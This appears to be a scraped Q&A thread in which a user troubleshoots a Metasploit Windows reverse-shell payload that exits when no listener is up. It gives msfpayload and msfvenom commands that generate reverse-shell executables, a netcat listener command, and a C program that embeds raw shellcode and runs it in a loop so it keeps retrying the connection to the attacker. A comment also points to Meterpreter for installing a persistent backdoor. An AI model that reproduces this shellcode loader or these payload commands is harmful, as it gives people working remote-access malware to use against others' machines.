4

I am using Metasploit to generate a shell_reverse_tcp exploit using the following command:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe

On listener side I am using netcat.

Everything is perfect and if I run the listener first(nc -l -p 4444) and open the exploit.exe after that. But If my listener is not running and I run the exploit.exe, it starts and exits immediately. So if I run the exploit.exe first and start the listener after, it doesn't work. I've also tried ReverseConnectRetries but this is not working either.

So what is the problem? Thanks for any answers.

  • You must be using a very old version of Metasploit as the msfpayload has been deprecated long ago. Network resiliency is part of TCP and HTTP transport so you should be able to do what you are looking for. You need to update framework to the latest version first. – void_in Feb 23 '16 at 10:41
  • Thanks you very much void_in. Yes I am using old version, I think i will have to use Msfvenom instead of msfpayload. let me try it and I update you here. – localhost Feb 23 '16 at 11:07
1

If i run exploit.exe first and listener second then it doesn't work

Of course it won't, and that's what reverse_tcp means. The payload is reverse_tcp shell, it will start a connection from the victim to the attacker machine, so the listener must be up and running for accepting the connection.

| improve this answer | |
0

I assume the question is: will this single (payload type) retry and wait for a connection?

When you look into the shell_reverse_tcp.rb file in your framework-# (look in modules/payloads/singles/windows) it does not state that that there should be any connection retry. If you however look into the stager reverse_tcp.rb (modules/payloads/stagers/windows) there is a 'ReverseConnectionRetries' value to set. I know this is not a solid answer, but Singles are simpler and smaller than Stages/Stagers combinations, so it is valid to assume that there is no reconnect ability - even using MSFVenom.

| improve this answer | |
  • There is no reconnect otherwise, unless you install a persistent backdoor on the system. Metrepeter has a function to do that. – multithr3at3d Feb 23 '16 at 16:00
  • Well that is the answer then. Where did you find this? And what does the 'ReverseConnectionRetries' do then? – RLFP Feb 23 '16 at 17:47
  • I think RLFP is right there is not ReverseConnectionRetries. I tried following command with msfvenom but still not working msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.7 lport=555 -f exe > ./Desktop/exploit.exe. – localhost Mar 3 '16 at 20:09
0

I am trying to find the alternative for this problem. So I created the shell code rather than executable and put that in to a c program. Now I am trying to put this code in to a infinite loop but this is not working also, If listener is not running already then program exists immediately.I am not a expert c programmer so please make me correct if i am doing something wrong. I am using gcc to compile this code.

/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=5678, RHOST=, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
#include <windows.h>
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x01\x07\x68\x02\x00\x02\x2b\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
/* Launch the meterpreter shellcode */
void main()
 {
    /* Declare pointer on function */
    int (*func) ();
    /* Cast shellcode into function */
    while(1){
        func = (int (*) ()) buf;
        /* Call function (Execute shellcode) */
        (int) (*func) ();
        sleep(1000);
    }
}                                
| improve this answer | |
0

As far as I know msfvenom also supports a "service exe" type, maybe that automatically tries a reconnect (I don't know). Otherwise I think what you're asking for is simply out of scope. As pointed out by other answers by design the reverse shell wants to connect to a listener that is already up and running. If you need a different behaviour then the best option for you is to search for reverse shell C code, change it and compile it on your own.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.